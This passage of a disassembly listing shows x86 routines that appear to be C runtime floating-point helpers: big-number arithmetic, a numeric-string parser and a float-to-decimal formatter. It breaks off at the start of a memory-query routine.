lea eax, [ebp+var_4]
push eax
push 1
call sub_69B1ECB1
add esp, 1Ch
test eax, eax
jnz short loc_69B86EC3
leave
retn
; ---------------------------------------------------------------------------
loc_69B86EC3: ; CODE XREF: sub_69B86E55+6Aj
movzx eax, word ptr [ebp+arg_4+2]
loc_69B86EC7: ; CODE XREF: sub_69B86E55+1Cj
and eax, [ebp+arg_8]
leave
retn
sub_69B86E55 endp
; =============== S U B R O U T I N E =======================================
sub_69B86ECC proc near ; CODE XREF: sub_69B86675+23p
; sub_69B86675+3Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
lea ecx, [edx+esi]
xor eax, eax
cmp ecx, edx
jb short loc_69B86EE2
cmp ecx, esi
jnb short loc_69B86EE5
loc_69B86EE2: ; CODE XREF: sub_69B86ECC+10j
xor eax, eax
inc eax
loc_69B86EE5: ; CODE XREF: sub_69B86ECC+14j
mov edx, [esp+4+arg_8]
mov [edx], ecx
pop esi
retn
sub_69B86ECC endp
; =============== S U B R O U T I N E =======================================
sub_69B86EED proc near ; CODE XREF: sub_69B86FA6+40p
; sub_69B86FA6+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_69B86ECC
add esp, 0Ch
test eax, eax
jz short loc_69B86F1F
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_69B86ECC
add esp, 0Ch
test eax, eax
jz short loc_69B86F1F
inc dword ptr [esi+8]
loc_69B86F1F: ; CODE XREF: sub_69B86EED+19j
; sub_69B86EED+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_69B86ECC
add esp, 0Ch
test eax, eax
jz short loc_69B86F37
inc dword ptr [esi+8]
loc_69B86F37: ; CODE XREF: sub_69B86EED+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_69B86ECC
add esp, 0Ch
pop edi
pop esi
retn
sub_69B86EED endp
; =============== S U B R O U T I N E =======================================
sub_69B86F4B proc near ; CODE XREF: sub_69B86FA6+30p
; sub_69B86FA6+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, [eax]
mov ecx, esi
add esi, esi
push edi
mov edi, [eax+4]
shr ecx, 1Fh
mov [eax], esi
lea esi, [edi+edi]
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+4], esi
mov [eax+8], ecx
pop esi
retn
sub_69B86F4B endp
; =============== S U B R O U T I N E =======================================
sub_69B86F79 proc near ; CODE XREF: sub_69B87498+1B6p
; sub_69B87AB4+17Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+8]
mov ecx, [eax+4]
push esi
push edi
mov edi, ecx
mov esi, edx
shr ecx, 1
shl esi, 1Fh
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
or ecx, edi
shr edx, 1
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_69B86F79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B86FA6 proc near ; CODE XREF: sub_69B87074+357p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
push edi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_69B87019
mov [ebp+arg_8], eax
loc_69B86FCD: ; CODE XREF: sub_69B86FA6+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_69B86F4B
push ebx
call sub_69B86F4B
lea eax, [ebp+var_10]
push eax
push ebx
call sub_69B86EED
push ebx
call sub_69B86F4B
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
and [ebp+var_C], 0
and [ebp+var_8], 0
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_69B86EED
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_69B86FCD
xor edx, edx
loc_69B87019: ; CODE XREF: sub_69B86FA6+22j
cmp [ebx+8], edx
jnz short loc_69B8704D
mov edi, [ebx+8]
loc_69B87021: ; CODE XREF: sub_69B86FA6+A2j
mov ecx, [ebx+4]
add [ebp+var_4], 0FFF0h
mov eax, ecx
shr eax, 10h
mov edi, eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
cmp edi, edx
mov [ebx+4], esi
mov [ebx], eax
jz short loc_69B87021
mov [ebx+8], edi
loc_69B8704D: ; CODE XREF: sub_69B86FA6+76j
mov esi, 8000h
jmp short loc_69B87062
; ---------------------------------------------------------------------------
loc_69B87054: ; CODE XREF: sub_69B86FA6+BFj
push ebx
call sub_69B86F4B
add [ebp+var_4], 0FFFFh
pop ecx
loc_69B87062: ; CODE XREF: sub_69B86FA6+ACj
test [ebx+8], esi
jz short loc_69B87054
mov ax, word ptr [ebp+var_4]
pop edi
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_69B86FA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B87074 proc near ; CODE XREF: sub_69B86967+17p
; sub_69B86994+17p
var_54 = byte ptr -54h
var_3D = byte ptr -3Dh
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 54h
xor eax, eax
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea esi, [ebp+var_54]
mov [ebp+var_4], esi
mov [ebp+var_28], eax
mov [ebp+var_18], 1
mov [ebp+var_8], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov [ebp+var_C], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_69B870AA: ; CODE XREF: sub_69B87074+4Dj
mov cl, [edi]
cmp cl, 20h
jz short loc_69B870C0
cmp cl, 9
jz short loc_69B870C0
cmp cl, 0Ah
jz short loc_69B870C0
cmp cl, 0Dh
jnz short loc_69B870C3
loc_69B870C0: ; CODE XREF: sub_69B87074+3Bj
; sub_69B87074+40j ...
inc edi
jmp short loc_69B870AA
; ---------------------------------------------------------------------------
loc_69B870C3: ; CODE XREF: sub_69B87074+4Aj
; sub_69B87074+AAj ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_69B87342 ; default
; jumptable 69B870CF case 10
jmp ds:off_69B87468[eax*4] ; switch jump
loc_69B870D6: ; DATA XREF: .text:off_69B87468o
cmp bl, 31h ; jumptable 69B870CF case 0
jl short loc_69B870E7
cmp bl, 39h
jg short loc_69B870E7
loc_69B870E0: ; CODE XREF: sub_69B87074+C3j
; sub_69B87074+11Ej
push 3
jmp loc_69B87301
; ---------------------------------------------------------------------------
loc_69B870E7: ; CODE XREF: sub_69B87074+65j
; sub_69B87074+6Aj
cmp bl, byte_69B9AC70
jnz short loc_69B870F6
loc_69B870EF: ; CODE XREF: sub_69B87074+12Aj
push 5
jmp loc_69B87338
; ---------------------------------------------------------------------------
loc_69B870F6: ; CODE XREF: sub_69B87074+79j
movsx eax, bl
sub eax, 2Bh
jz short loc_69B87120
dec eax
dec eax
jz short loc_69B87114
sub eax, 3
jz loc_69B871AD
mov [ebp+var_4], esi
dec edi
jmp loc_69B872BF
; ---------------------------------------------------------------------------
loc_69B87114: ; CODE XREF: sub_69B87074+8Cj
push 2
pop eax
mov [ebp+var_28], 8000h
jmp short loc_69B870C3
; ---------------------------------------------------------------------------
loc_69B87120: ; CODE XREF: sub_69B87074+88j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_69B870C3
; ---------------------------------------------------------------------------
loc_69B87129: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
xor eax, eax ; jumptable 69B870CF case 1
inc eax
cmp bl, 31h
mov [ebp+var_10], eax
jl short loc_69B87139
cmp bl, 39h
jle short loc_69B870E0
loc_69B87139: ; CODE XREF: sub_69B87074+BEj
cmp bl, byte_69B9AC70
jnz short loc_69B87148
loc_69B87141: ; CODE XREF: sub_69B87074+177j
push 4
jmp loc_69B87338
; ---------------------------------------------------------------------------
loc_69B87148: ; CODE XREF: sub_69B87074+CBj
cmp bl, 2Bh
jz short loc_69B87182
cmp bl, 2Dh
jz short loc_69B87182
cmp bl, 30h
jz loc_69B870C3
loc_69B8715B: ; CODE XREF: sub_69B87074+1CFj
cmp bl, 43h
jle loc_69B872BB
cmp bl, 45h
jle short loc_69B8717B
cmp bl, 63h
jle loc_69B872BB
cmp bl, 65h
jg loc_69B872BB
loc_69B8717B: ; CODE XREF: sub_69B87074+F3j
push 6
jmp loc_69B87338
; ---------------------------------------------------------------------------
loc_69B87182: ; CODE XREF: sub_69B87074+D7j
; sub_69B87074+DCj ...
dec edi
push 0Bh
jmp loc_69B87338
; ---------------------------------------------------------------------------
loc_69B8718A: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
cmp bl, 31h ; jumptable 69B870CF case 2
jl short loc_69B87198
cmp bl, 39h
jle loc_69B870E0
loc_69B87198: ; CODE XREF: sub_69B87074+119j
cmp bl, byte_69B9AC70
jz loc_69B870EF
cmp bl, 30h
jnz loc_69B8730D
loc_69B871AD: ; CODE XREF: sub_69B87074+91j
xor eax, eax
inc eax
jmp loc_69B870C3
; ---------------------------------------------------------------------------
loc_69B871B5: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
mov [ebp+var_10], 1 ; jumptable 69B870CF case 3
jmp short loc_69B871D5
; ---------------------------------------------------------------------------
loc_69B871BE: ; CODE XREF: sub_69B87074+16Dj
cmp [ebp+var_8], 19h
jnb short loc_69B871CF
inc [ebp+var_8]
sub bl, 30h
mov [esi], bl
inc esi
jmp short loc_69B871D2
; ---------------------------------------------------------------------------
loc_69B871CF: ; CODE XREF: sub_69B87074+14Ej
inc [ebp+var_C]
loc_69B871D2: ; CODE XREF: sub_69B87074+159j
mov bl, [edi]
inc edi
loc_69B871D5: ; CODE XREF: sub_69B87074+148j
movzx eax, bl
push eax
call sub_69B8651F
test eax, eax
pop ecx
jnz short loc_69B871BE
cmp bl, byte_69B9AC70
jnz short loc_69B87231
jmp loc_69B87141
; ---------------------------------------------------------------------------
loc_69B871F0: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
xor eax, eax ; jumptable 69B870CF case 4
inc eax
cmp [ebp+var_8], 0
mov [ebp+var_10], eax
mov [ebp+var_24], eax
jnz short loc_69B87223
jmp short loc_69B87207
; ---------------------------------------------------------------------------
loc_69B87201: ; CODE XREF: sub_69B87074+196j
dec [ebp+var_C]
mov bl, [edi]
inc edi
loc_69B87207: ; CODE XREF: sub_69B87074+18Bj
cmp bl, 30h
jz short loc_69B87201
jmp short loc_69B87223
; ---------------------------------------------------------------------------
loc_69B8720E: ; CODE XREF: sub_69B87074+1BBj
cmp [ebp+var_8], 19h
jnb short loc_69B87220
inc [ebp+var_8]
sub bl, 30h
mov [esi], bl
inc esi
dec [ebp+var_C]
loc_69B87220: ; CODE XREF: sub_69B87074+19Ej
mov bl, [edi]
inc edi
loc_69B87223: ; CODE XREF: sub_69B87074+189j
; sub_69B87074+198j
movzx eax, bl
push eax
call sub_69B8651F
test eax, eax
pop ecx
jnz short loc_69B8720E
loc_69B87231: ; CODE XREF: sub_69B87074+175j
cmp bl, 2Bh
jz loc_69B87182
cmp bl, 2Dh
jz loc_69B87182
jmp loc_69B8715B
; ---------------------------------------------------------------------------
loc_69B87248: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
movzx eax, bl ; jumptable 69B870CF case 5
push eax
mov [ebp+var_24], 1
call sub_69B8651F
test eax, eax
pop ecx
jz loc_69B8730D
push 4
jmp loc_69B87301
; ---------------------------------------------------------------------------
loc_69B87268: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
cmp bl, 31h ; jumptable 69B870CF case 6
lea ecx, [edi-2]
mov [ebp+arg_8], ecx
jl short loc_69B8727C
cmp bl, 39h
jle loc_69B872FF
loc_69B8727C: ; CODE XREF: sub_69B87074+1FDj
movsx eax, bl
sub eax, 2Bh
jz loc_69B87336
dec eax
dec eax
jz loc_69B8732A
sub eax, 3
jnz loc_69B87350
loc_69B87299: ; CODE XREF: sub_69B87074+297j
push 8
jmp loc_69B87338
; ---------------------------------------------------------------------------
loc_69B872A0: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
mov [ebp+var_20], 1 ; jumptable 69B870CF case 8
jmp short loc_69B872AC
; ---------------------------------------------------------------------------
loc_69B872A9: ; CODE XREF: sub_69B87074+23Bj
mov bl, [edi]
inc edi
loc_69B872AC: ; CODE XREF: sub_69B87074+233j
cmp bl, 30h
jz short loc_69B872A9
cmp bl, 31h
jl short loc_69B872BB
cmp bl, 39h
jle short loc_69B872FF
loc_69B872BB: ; CODE XREF: sub_69B87074+EAj
; sub_69B87074+F8j ...
dec edi
loc_69B872BC: ; CODE XREF: sub_69B87074+29Cj
; sub_69B87074+2D7j
mov [ebp+var_4], esi
loc_69B872BF: ; CODE XREF: sub_69B87074+9Bj
; sub_69B87074+2E1j ...
cmp [ebp+var_10], 0
mov eax, [ebp+arg_4]
mov [eax], edi
jz loc_69B8741E
push 18h
pop eax
cmp [ebp+var_8], eax
jbe short loc_69B872E6
cmp [ebp+var_3D], 5
jl short loc_69B872DF
inc [ebp+var_3D]
loc_69B872DF: ; CODE XREF: sub_69B87074+266j
dec esi
inc [ebp+var_C]
mov [ebp+var_8], eax
loc_69B872E6: ; CODE XREF: sub_69B87074+260j
cmp [ebp+var_8], 0
jbe loc_69B87445
jmp loc_69B873BA
; ---------------------------------------------------------------------------
loc_69B872F5: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
cmp bl, 31h ; jumptable 69B870CF case 7
jl short loc_69B87308
cmp bl, 39h
jg short loc_69B87308
loc_69B872FF: ; CODE XREF: sub_69B87074+202j
; sub_69B87074+245j
push 9
loc_69B87301: ; CODE XREF: sub_69B87074+6Ej
; sub_69B87074+1EFj
pop eax
dec edi
jmp loc_69B870C3
; ---------------------------------------------------------------------------
loc_69B87308: ; CODE XREF: sub_69B87074+284j
; sub_69B87074+289j
cmp bl, 30h
jz short loc_69B87299
loc_69B8730D: ; CODE XREF: sub_69B87074+133j
; sub_69B87074+1E7j
mov edi, [ebp+arg_8]
jmp short loc_69B872BC
; ---------------------------------------------------------------------------
loc_69B87312: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
cmp [ebp+arg_18], 0 ; jumptable 69B870CF case 11
jz short loc_69B8733E
movsx eax, bl
sub eax, 2Bh
lea ecx, [edi-1]
mov [ebp+arg_8], ecx
jz short loc_69B87336
dec eax
dec eax
jnz short loc_69B87350
loc_69B8732A: ; CODE XREF: sub_69B87074+216j
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_69B870C3
; ---------------------------------------------------------------------------
loc_69B87336: ; CODE XREF: sub_69B87074+20Ej
; sub_69B87074+2B0j
push 7
loc_69B87338: ; CODE XREF: sub_69B87074+7Dj
; sub_69B87074+CFj ...
pop eax
jmp loc_69B870C3
; ---------------------------------------------------------------------------
loc_69B8733E: ; CODE XREF: sub_69B87074+2A2j
push 0Ah
pop eax
dec edi
loc_69B87342: ; CODE XREF: sub_69B87074+55j
; sub_69B87074+5Bj
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 69B870CF case 10
jnz loc_69B870C3
jmp loc_69B872BC
; ---------------------------------------------------------------------------
loc_69B87350: ; CODE XREF: sub_69B87074+21Fj
; sub_69B87074+2B4j
mov [ebp+var_4], esi
mov edi, ecx
jmp loc_69B872BF
; ---------------------------------------------------------------------------
loc_69B8735A: ; CODE XREF: sub_69B87074+5Bj
; DATA XREF: .text:off_69B87468o
mov [ebp+var_4], esi ; jumptable 69B870CF case 9
mov [ebp+var_20], 1
xor esi, esi
jmp short loc_69B8737D
; ---------------------------------------------------------------------------
loc_69B87368: ; CODE XREF: sub_69B87074+315j
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_69B8738D
mov bl, [edi]
inc edi
loc_69B8737D: ; CODE XREF: sub_69B87074+2F2j
movzx eax, bl
push eax
call sub_69B8651F
test eax, eax
pop ecx
jnz short loc_69B87368
jmp short loc_69B87392
; ---------------------------------------------------------------------------
loc_69B8738D: ; CODE XREF: sub_69B87074+304j
mov esi, 1451h
loc_69B87392: ; CODE XREF: sub_69B87074+317j
mov [ebp+var_1C], esi
movzx eax, bl
jmp short loc_69B873A0
; ---------------------------------------------------------------------------
loc_69B8739A: ; CODE XREF: sub_69B87074+335j
mov al, [edi]
inc edi
movzx eax, al
loc_69B873A0: ; CODE XREF: sub_69B87074+324j
push eax
call sub_69B8651F
test eax, eax
pop ecx
jnz short loc_69B8739A
mov esi, [ebp+var_4]
dec edi
jmp loc_69B872BF
; ---------------------------------------------------------------------------
loc_69B873B4: ; CODE XREF: sub_69B87074+34Aj
dec [ebp+var_8]
inc [ebp+var_C]
loc_69B873BA: ; CODE XREF: sub_69B87074+27Cj
dec esi
cmp byte ptr [esi], 0
jz short loc_69B873B4
lea eax, [ebp+var_38]
push eax
push [ebp+var_8]
lea eax, [ebp+var_54]
push eax
call sub_69B86FA6
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_69B873DF
neg eax
loc_69B873DF: ; CODE XREF: sub_69B87074+367j
add eax, [ebp+var_C]
cmp [ebp+var_20], ecx
jnz short loc_69B873EA
add eax, [ebp+arg_10]
loc_69B873EA: ; CODE XREF: sub_69B87074+371j
cmp [ebp+var_24], ecx
jnz short loc_69B873F2
sub eax, [ebp+arg_14]
loc_69B873F2: ; CODE XREF: sub_69B87074+379j
cmp eax, 1450h
jg short loc_69B87427
cmp eax, 0FFFFEBB0h
jl short loc_69B8743E
push [ebp+arg_C]
push eax
lea eax, [ebp+var_38]
push eax
call sub_69B87CD5
mov edx, [ebp+var_38]
mov ebx, [ebp+var_38+2]
mov esi, [ebp+var_32]
mov eax, [ebp+var_2E]
add esp, 0Ch
jmp short loc_69B8744D
; ---------------------------------------------------------------------------
loc_69B8741E: ; CODE XREF: sub_69B87074+254j
mov [ebp+var_14], 4
jmp short loc_69B87445
; ---------------------------------------------------------------------------
loc_69B87427: ; CODE XREF: sub_69B87074+383j
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_69B8744D
; ---------------------------------------------------------------------------
loc_69B8743E: ; CODE XREF: sub_69B87074+38Aj
mov [ebp+var_14], 1
loc_69B87445: ; CODE XREF: sub_69B87074+276j
; sub_69B87074+3B1j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
loc_69B8744D: ; CODE XREF: sub_69B87074+3A8j
; sub_69B87074+3C8j
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
pop esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
mov [ecx], dx
pop ebx
leave
retn
sub_69B87074 endp
; ---------------------------------------------------------------------------
off_69B87468 dd offset loc_69B870D6 ; DATA XREF: sub_69B87074+5Br
dd offset loc_69B87129 ; jump table for switch statement
dd offset loc_69B8718A
dd offset loc_69B871B5
dd offset loc_69B871F0
dd offset loc_69B87248
dd offset loc_69B87268
dd offset loc_69B872F5
dd offset loc_69B872A0
dd offset loc_69B8735A
dd offset loc_69B87342
dd offset loc_69B87312
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B87498 proc near ; CODE XREF: sub_69B86AFA+2Bp
var_2C = byte ptr -2Ch
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = word ptr -14h
var_12 = dword ptr -12h
var_E = dword ptr -0Eh
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_20], 0CCh
mov [ebp+var_1F], 0CCh
mov [ebp+var_1E], 0CCh
mov [ebp+var_1D], 0CCh
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0FBh
mov [ebp+var_15], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_69B874FA
mov byte ptr [ebx+2], 2Dh
jmp short loc_69B874FE
; ---------------------------------------------------------------------------
loc_69B874FA: ; CODE XREF: sub_69B87498+5Aj
mov byte ptr [ebx+2], 20h
loc_69B874FE: ; CODE XREF: sub_69B87498+60j
test dx, dx
mov edi, [ebp+arg_4]
jnz short loc_69B87513
test edi, edi
jnz short loc_69B87513
cmp [ebp+arg_0], edi
jz loc_69B87606
loc_69B87513: ; CODE XREF: sub_69B87498+6Cj
; sub_69B87498+70j
cmp dx, si
jnz short loc_69B87590
mov eax, 80000000h
cmp edi, eax
mov word ptr [ebx], 1
jnz short loc_69B8752C
cmp [ebp+arg_0], 0
jz short loc_69B8753B
loc_69B8752C: ; CODE XREF: sub_69B87498+8Cj
test edi, 40000000h
jnz short loc_69B8753B
push offset dword_69B87730
jmp short loc_69B87581
; ---------------------------------------------------------------------------
loc_69B8753B: ; CODE XREF: sub_69B87498+92j
; sub_69B87498+9Aj
test cx, cx
jz short loc_69B87555
cmp edi, 0C0000000h
jnz short loc_69B87555
cmp [ebp+arg_0], 0
jnz short loc_69B8757C
push offset dword_69B87728
jmp short loc_69B87564
; ---------------------------------------------------------------------------
loc_69B87555: ; CODE XREF: sub_69B87498+A6j
; sub_69B87498+AEj
cmp edi, eax
jnz short loc_69B8757C
cmp [ebp+arg_0], 0
jnz short loc_69B8757C
push offset dword_69B87720
loc_69B87564: ; CODE XREF: sub_69B87498+BBj
lea eax, [ebx+4]
push eax
call sub_69B227E1
mov byte ptr [ebx+3], 5
loc_69B87571: ; CODE XREF: sub_69B87498+F6j
and [ebp+var_4], 0
pop ecx
pop ecx
jmp loc_69B876E8
; ---------------------------------------------------------------------------
loc_69B8757C: ; CODE XREF: sub_69B87498+B4j
; sub_69B87498+BFj ...
push offset dword_69B87718
loc_69B87581: ; CODE XREF: sub_69B87498+A1j
lea eax, [ebx+4]
push eax
call sub_69B227E1
mov byte ptr [ebx+3], 6
jmp short loc_69B87571
; ---------------------------------------------------------------------------
loc_69B87590: ; CODE XREF: sub_69B87498+7Ej
movzx eax, dx
mov esi, eax
imul eax, 4D10h
and [ebp+var_14], 0
mov ecx, edi
shr ecx, 18h
shr esi, 8
lea ecx, [esi+ecx*2]
imul ecx, 4Dh
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
mov [ebp+var_12], eax
sar esi, 10h
movsx eax, si
neg eax
push 1
push eax
lea eax, [ebp+var_14]
push eax
mov [ebp+var_A], dx
mov [ebp+var_E], edi
call sub_69B87CD5
add esp, 0Ch
cmp [ebp+var_A], 3FFFh
jb short loc_69B875F1
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
inc esi
call sub_69B87AB4
pop ecx
pop ecx
loc_69B875F1: ; CODE XREF: sub_69B87498+147j
test [ebp+arg_10], 1
mov edi, [ebp+arg_C]
mov [ebx], si
jz short loc_69B8760F
movsx eax, si
add edi, eax
test edi, edi
jg short loc_69B8760F
loc_69B87606: ; CODE XREF: sub_69B87498+75j
mov byte ptr [ebx+4], 30h
jmp loc_69B87701
; ---------------------------------------------------------------------------
loc_69B8760F: ; CODE XREF: sub_69B87498+163j
; sub_69B87498+16Cj
cmp edi, 15h
jle short loc_69B87617
push 15h
pop edi
loc_69B87617: ; CODE XREF: sub_69B87498+17Aj
movzx esi, [ebp+var_A]
sub esi, 3FFEh
and [ebp+var_A], 0
mov [ebp+arg_8], 8
loc_69B8762D: ; CODE XREF: sub_69B87498+1A2j
lea eax, [ebp+var_14]
push eax
call sub_69B86F4B
dec [ebp+arg_8]
pop ecx
jnz short loc_69B8762D
test esi, esi
jge short loc_69B87657
neg esi
and esi, 0FFh
jle short loc_69B87657
loc_69B8764A: ; CODE XREF: sub_69B87498+1BDj
lea eax, [ebp+var_14]
push eax
call sub_69B86F79
dec esi
pop ecx
jnz short loc_69B8764A
loc_69B87657: ; CODE XREF: sub_69B87498+1A6j
; sub_69B87498+1B0j
lea ecx, [edi+1]
test ecx, ecx
lea eax, [ebx+4]
mov [ebp+arg_8], eax
jle short loc_69B876B4
mov [ebp+var_8], ecx
loc_69B87667: ; CODE XREF: sub_69B87498+217j
lea esi, [ebp+var_14]
lea edi, [ebp+var_2C]
movsd
movsd
lea eax, [ebp+var_14]
push eax
movsd
call sub_69B86F4B
lea eax, [ebp+var_14]
push eax
call sub_69B86F4B
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_14]
push eax
call sub_69B86EED
lea eax, [ebp+var_14]
push eax
call sub_69B86F4B
mov al, byte ptr [ebp+var_A+1]
mov ecx, [ebp+arg_8]
add al, 30h
add esp, 14h
inc [ebp+arg_8]
dec [ebp+var_8]
mov [ecx], al
mov byte ptr [ebp+var_A+1], 0
jnz short loc_69B87667
mov eax, [ebp+arg_8]
loc_69B876B4: ; CODE XREF: sub_69B87498+1CAj
dec eax
mov cl, [eax]
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_69B876F6
jmp short loc_69B876CB
; ---------------------------------------------------------------------------
loc_69B876C2: ; CODE XREF: sub_69B87498+235j
cmp byte ptr [eax], 39h
jnz short loc_69B876CF
mov byte ptr [eax], 30h
dec eax
loc_69B876CB: ; CODE XREF: sub_69B87498+228j
cmp eax, ecx
jnb short loc_69B876C2
loc_69B876CF: ; CODE XREF: sub_69B87498+22Dj
cmp eax, ecx
jnb short loc_69B876D7
inc eax
inc word ptr [ebx]
loc_69B876D7: ; CODE XREF: sub_69B87498+239j
inc byte ptr [eax]
loc_69B876D9: ; CODE XREF: sub_69B87498+264j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
mov byte ptr [eax+ebx+4], 0
loc_69B876E8: ; CODE XREF: sub_69B87498+DFj
mov eax, [ebp+var_4]
loc_69B876EB: ; CODE XREF: sub_69B87498+27Cj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B876F0: ; CODE XREF: sub_69B87498+260j
cmp byte ptr [eax], 30h
jnz short loc_69B876FA
dec eax
loc_69B876F6: ; CODE XREF: sub_69B87498+226j
cmp eax, ecx
jnb short loc_69B876F0
loc_69B876FA: ; CODE XREF: sub_69B87498+25Bj
cmp eax, ecx
jnb short loc_69B876D9
mov byte ptr [ecx], 30h
loc_69B87701: ; CODE XREF: sub_69B87498+172j
and word ptr [ebx], 0
xor eax, eax
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+5], 0
inc eax
jmp short loc_69B876EB
sub_69B87498 endp
; ---------------------------------------------------------------------------
align 4
dword_69B87718 dd 4E512331h, 90004E41hdword_69B87720 dd 4E492331h, 90900046hdword_69B87728 dd 4E492331h, 90900044hdword_69B87730 dd 4E532331h db 41h, 4Eh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B87737 proc near ; CODE XREF: sub_69B253C5+3p
; sub_69B254A6+3p ...
SystemInfo = _SYSTEM_INFO ptr -4Ch
Buffer = _MEMORY_BASIC_INFORMATION ptr -28h
flOldProtect = dword ptr -0Ch
dwSize = dword ptr -8
lpAddress = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push 4
pop eax
call sub_69B1B09C
mov esi, esp
push 1Ch ; dwLength
lea eax, [ebp+Buffer]
push eax ; lpBuffer
push esi ; lpAddress
